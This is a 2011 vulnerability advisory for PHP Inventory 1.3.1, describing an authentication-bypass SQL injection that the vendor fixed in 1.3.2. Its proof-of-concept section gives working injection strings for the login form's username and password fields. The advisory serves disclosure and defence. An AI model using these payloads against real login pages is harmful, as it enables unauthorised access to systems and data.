PHP Inventory version 1.3.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
8ebe11c2190eb6eb4bb69b19db6d857a31629633ee830ea142db005190e42979
Advisory: PHP Inventory 1.3.1 Remote (Auth Bypass) SQL Injection Vulnerability
Advisory ID: INFOSERVE-ADV2011-08
Author: Stefan Schurtz
Contact: security@infoserve.de
Affected Software: Successfully tested on PHP Inventory 1.3.1
Vendor URL: https://www.phpwares.com/
Vendor Status: fixed
CVE-ID: CVE-2009-4595,CVE-2009-4596,CVE-2009-4597
==========================
Vulnerability Description
==========================
PHP Inventory is (still) prone to a SQL-Injection (Auth Bypass) vulnerability
==================
PoC-Exploit
==================
https://[target]/php-inventory/index.php
// with 'magic_quotes_gpc = Off'
USER NAME = ' or 1=1#
or
USER NAME = admin
PASSWORD = ' or 1=1#
=========
Solution
=========
Update to the latest version 1.3.2
====================
Disclosure Timeline
====================
29-Nov-2011 - informed vendor (contact form)
30-Nov-2011 - vendor fix
========
Credits
========
Vulnerabilitiy found and advisory written by the INFOSERVE security team.
===========
References
===========
https://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-08.txt
https://www.exploit-db.com/exploits/10370/
https://secunia.com/advisories/37672/